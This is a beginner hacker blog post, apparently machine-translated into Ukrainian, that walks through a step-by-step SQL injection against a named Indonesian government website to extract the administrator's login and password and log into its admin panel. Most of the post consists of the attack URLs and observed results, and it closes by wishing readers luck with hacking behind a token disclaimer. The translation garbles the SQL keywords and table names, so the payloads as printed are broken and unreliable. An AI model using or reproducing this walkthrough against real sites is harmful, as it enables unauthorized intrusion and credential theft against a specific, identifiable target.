Привіт хацкери, кул хацкери і новачки! З вами redbu11.В цій статті піде мова про таку вразливості як SQL injection.Я знаю що таких статей в инете немеряно, але все-таки я напишу ще одну статейку про такий уязвімості.Я написав цю статтю для тих у кого ще не сформувалася ідея про цієї вразливості, то є новачкам у цьому деле.То що я буду розповідати, зовсім не нове, Так що розрахована для новічков.Я думаю ви всі знаєте що таке SQL вразливість, а якщо ні, то пошукайте в инете, там багато про це написано, просто если я щас начну пояснювати що це таке у великих подробицях, то це займе багато времені.І так приступимо.))
Для виявлення SQL ін'єкції я найчастіше користуюся маніпулюванням числовими параметрами в GET запросах.Вот наприклад мене як-то зацікавила така посилання:
http://www.komnasfbpi.go.id/berita_eng.php?id=58
тут ID = 58 і є числовий параметр.Ітак, перевіримо її на уязвімость.В кінець посилання додаємо одиночную лапки '. http://www.komnasfbpi.go.id/berita_eng.php?id=58 '
І дивимося на результат.Опа Сторінка завантажилася неправильно і видала нам SQL помилку:
Відкрита база даних: Невірний запит
SELECT * FROM tbl_berita де berita_id = 57 '
Ура! Це і є SQL уязвімость.Но щоб переконатися що вразливість дійсно існує, перевіримо еще кое-что.ПЕреходім знову за адресою:
http://www.komnasfbpi.go.id/berita_eng.php?id=58
І бачимо там сторінку із заголовком "Komnas FBPI ТРИВАЄ пташиного грипу Програма контролю". Ок, тепер перейдемо на сторінку "нижче", не на 58-му а на 57-му, тобто так: http://www.komnasfbpi.go.id/berita_eng.php?id=57
І бачимо там сторінку вже з іншим заголовком "Повітряна Бату Asahan Мешканці підтвердження пташиного грипу
Негативний ". Тепер переходимо назад на 58-ту сторінку:
http://www.komnasfbpi.go.id/berita_eng.php?id=58
Отже, коли ми знаємо, що 58-а сторінка має заголовок "Komnas FBPI ТРИВАЄ пташиного грипу CONTROL ПРОГРАМА "а 57-а має заголовок" Повітряна Бату Asahan Мешканці підтвердження пташиного грипу Негативний "то перевіримо змінну "ID" на вразливість і складемо такий запит:
http://www.komnasfbpi.go.id/berita_eng.php?id=58-1/ *
(Завжди закриваємо символом / *) І дивимося на результат.В результаті завантажилася НЕ 58 а 57 страніца.Ура! Вразливість дійсно є! А що це значить? З попереднім запитом ми спробували виконати просту арифметичну операцію, тобто 58-1, і сайт її не отвільтровал а виконав, і в результаті ми отримали 58-1 = 57, це означає, що замість цього ми можемо вставити будь-який інший запит який нам буде більш полезен.Ми зараз будемо намагатися витягти за допомогою цієї вразливості з бази
даних логін і пас адміна.І так, сначало нам треба з'ясувати скільки полів у базі данних.Я для цього використовую оператор "+ на порядок". І так перевіримо скільки-ж там полів використовуючи + порядку шляхом:
http://www.komnasfbpi.go.id/berita_eng.php?id=58 + + тем по 30 / *
На такий запит нам видалася помилка, це означає що полів менше ніж 30.Пробуем так:
http://www.komnasfbpi.go.id/berita_eng.php?id=58 + + тем по 20 / *
На це нам теж видалася помилка, значить полів менше 20-і.Пробуем далі:
http://www.komnasfbpi.go.id/berita_eng.php?id=58 + + тем по 10 / *
На це нам не видалося жодної помилки, це означає що полів або 10, або більше 10-і.Продалжаем в цьому-ж дусі поки не обнарушем вірне кількість полів:
http://www.komnasfbpi.go.id/berita_eng.php?id=58 + + тем по 15 / *
Сторінка знову завантажилася з помилкою, це означає що полів менше ніж 15, пробуємо так:
http://www.komnasfbpi.go.id/berita_eng.php?id=58 + + тем по 14 / *
Уряяя! 14 Сторінка завантажилася нормально, а 15-ая завантажувався з помилкою, це означає що полів всього лише 14, це нам тільки наруку.Теперь знаючи що полів 14, подивимося яке з них прінтабельное, то є з допомогою якого поле виводитися інформація.Для цього нам потрібно скористатися оператором
"Союз + вибрати", складаємо запит, делаеться це так:
http://www.komnasfbpi.go.id/berita_eng.php?id=58 + + союз виберіть +1,2,3,4,5,6,7,8,9,10,11,12,13, 14 / *
Дивимося на результат, коли сторінка завантажується, прокручують сторінку до самого низу, і ми побачимо що
там отоброжаеться цифра 9, це означає, що для виведення інформації використовується 9-е поле.
Ну ось тепер коли ми знаємо, що в базі тільки 14 полів і використовуються 9-е прінтабельное, переходимо до
наступного етапу, будемо долбить базу даних і спробувати витягти звідти логіп і пас Админа.)) Нам щас
потрібно перевірити, чи існує в базі даних таблицю з назвою типу користувачів, користувач, адміністратор І т.д. .. Це
теж делаеться з оператором союз + select.Нам щас потрібен логін і пас адміна, давайте почнемо з
логіна.Для того, щоб дізнатися логін, нам треба перевірити, чи існує в базі даних таблиця з назвою
ім'я, або логін, де і зберігатися логін.Теперь ми і будемо перевіряти на наявність всіх цих табліц.Делаем
це як я вже казав оператором союз + вибрати таким чином:
http://www.komnasfbpi.go.id/berita_eng.php?id=58 + + союз виберіть +1,2,3,4,5,6,7,8,9,10,11,12,13, 14 + від +
Користувачі / *
Цим ми перевіряємо, чи існує таблиця користувачів у базі даних, якщо така існує, то сторінка
завантажитися без помилки, а якщо такої немає, то завантажитися з ошібкой.Нам на це видалася помилка, значет
такий нет.Проверім чи є таблиця користувачів:
http://www.komnasfbpi.go.id/berita_eng.php?id=58 + + союз виберіть +1,2,3,4,5,6,7,8,9,10,11,12,13, 14 + користувачів /
*
на жаль і такий не виявилося, теж нам на це видалася помилка ...(( Але не треба
засмучуватися! Багато админы використовують префікси перед назвою табліци.Теперь зверніть увагу на
ту помилку яка нам виводитися:
Відкрита база даних: Невірний запит
SELECT * FROM tbl_berita де berita_id = 57 '
Подивіться там на цей текст: tbl_berita
Тут використовується префікс tbl_ перед назвою табліци.Давайте перевіримо чи існує таблиця користувачів
використовуючи цей префікс! Ок, робимо запит:
http://www.komnasfbpi.go.id/berita_eng.php?id=58 + + союз виберіть +1,2,3,4,5,6,7,8,9,10,11,12,13, 14 + tbl_u
сер / *
Є! Ура! Сторінка завантажилася нормально, значить таблиця tbl_user існує! Тепер спробуємо дістати
ім'я користувача з таблиці tbl_user.Проверім, чи існує запис з назвою ім'я в таблиці
tbl_user.Ето делаесть майже також, тільки в 9-е поле вставляємо слово назву, цим ми і будемо перевіряти
чи існує запис в таблиці ім'я tbl_user.Етот запит буде виглядати так:
http://www.komnasfbpi.go.id/berita_eng.php?id=58 + + союз виберіть +1,2,3,4,5,6,7,8, ім'я, 10,11,12,13, 14 + ТБ
l_user / *
Подивимося що ми на це вийде, а нам на це сторінка завантажилася нормально, значить є
такая! прокручують сторінку в самий низ, і бачимо там запис "Адміністратор", Ураа!! У нас тепер є
логін адміна, залишилося дістати пасс.Пробуем:
http://www.komnasfbpi.go.id/berita_eng.php?id=58 + + союз виберіть +1,2,3,4,5,6,7,8, пароль, 10,11,12,13, 1
4 + tbl_user / *
На це нам сторінка завантажилася з помилкою, це означає, що немає запису паролів, пробум так:
http://www.komnasfbpi.go.id/berita_eng.php?id=58 + + союз виберіть +1,2,3,4,5,6,7,8, пароль, 10,11,12,13, 14 +
tbl_user / *
На це теж видалася помилка,, такої теж нема ((пробуємо далі:
http://www.komnasfbpi.go.id/berita_eng.php?id=58 + + союз виберіть +1,2,3,4,5,6,7,8, пароль, 10,11,12,13, 14 + tbl
_USER / *
Даа! Сторінка завантажилася без помилки, і це значить що запис! Прокручують сторінку в самий низ і
там ми бачимо пас адміна! Залишилося його розшифрувати і все!
Потім переходимо сюди http://www.komnasfbpi.go.id/admin вводимо отримані дані, і все, далі все
залежить від вашої фантазії!
Ось і все, все, про що б я з вами хотів би поделіться.Я описав просенькую SQL ін'єкцію.
УВАГА! Автор не несе ніякої відповідальності за неправильне використання розміщеної тут
інформації! Усе, що тут розміщено, це не пробудження до дії, а лише для ознайомлювальних
цілей!
Ну ось і все, всім пока и удачи зі зломом!
середа, 4 лютого 2009 р.
Підписатися на:
Дописати коментарі (Atom)



Немає коментарів:
Дописати коментар